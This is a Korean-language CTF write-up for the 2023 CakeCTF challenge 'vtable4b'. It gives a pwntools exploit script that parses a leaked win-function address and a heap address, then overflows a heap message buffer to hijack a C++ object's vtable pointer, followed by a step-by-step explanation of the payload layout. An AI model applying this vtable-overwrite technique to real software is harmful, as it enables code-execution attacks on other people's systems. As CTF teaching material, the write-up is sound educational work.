[2023CakeCTF] vtable4b
Exploit code
from pwn import *
#언제 닫힐지 모르는 서버..
p = remote('vtable4b.2023.cakectf.com',9000)
p.recvuntil('<win> = ')
win = int(p.recvuntil('\n').strip(),16)
p.sendlineafter('> ',b'3')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'0x')
base = int(p.recvn(12),16)
p.sendlineafter('> ', b'2')
p.sendlineafter('Message: ',p64(win)+b'A'*0x18+p64(base))
p.interactive()
WriteUp
이 문제는 바이너리가 주어지지 않는다. 다만 nc로 붙여서 실행해 보면 많은 힌트를 얻을 수 있다.
Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:
class Cowsay {
public:
Cowsay(char *message) : message_(message) {}
char*& message() { return message_; }
virtual void dialogue();
private:
char *message_;
};
An instance of this class is allocated in the heap:
Cowsay *cowsay = new Cowsay(new char[0x18]());
You can
1. Call `dialogue` method:
cowsay->dialogue();
2. Set `message`:
std::cin >> cowsay->message();
Last but not least, here is the address of `win` function which you should call to get the flag:
<win> = 0x5603d347f61a
1. Use cowsay
2. Change message
3. Display heap
대강 보건대 vtable은 이중 포인터 방식으로 동작한다. 즉 단순히 함수의 위치를 가리키기만 해서는 원하는 함수를 실행시킬 수 없다. 정확히 작동시키기 위해서는 함수를 가리키는 위치를 가리키게 해야 한다.
3번을 입력하면 친절하게도 힙의 구조를 설명해준다. 주소는 물론 매 실행마다 바뀐다. 익스플로잇을 하려면 고정 주소가 아니라 실행 시 매핑된 주소를 불러올 수 있어야 할 것이다.
위 스크린샷은 어느 정도 오버플로를 시도한 예이다. 아마 Cowsay의 vtable을 덮어쓸 수 있을 것이고, 그 값은 첫 실행시 주어진 쉘을 실행시키는 함수의 주소를 가리키는 주소를 가리키는 값이여야 할 것이다.
그렇게 하기 위해서 다음과 같은 페이로드를 구상할 수 있다.
- shell함수를 가리키는 값
- 더미
- 더미
- 더미
- (vtable for Cowsay) 1.을 가리키는 값
그렇게하면 5. -> 1. -> shell 실행 함수(win) 순으로 더블 포인팅되어 실행시킬 수 있을 것이다.
payload = p64(win)+b'A'*0x18+p64(base)
win과 base의 주소는 어떻게 구할 수 있는가? 날아오는 문자열에서 잘 파싱하면 된다.
p.recvuntil('<win> = ')
win = int(p.recvuntil('\n').strip(),16)
win의 경우 대놓고 주어지고
p.sendlineafter('> ',b'3')
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvline()
p.recvuntil(b'0x')
base = int(p.recvn(12),16)
base(문자열의 시작점)는 조금 더럽게 구했다. 그래도 잘 작동한다.
플래그의 경우는 혹시 몰라서 올려놓진 않는다.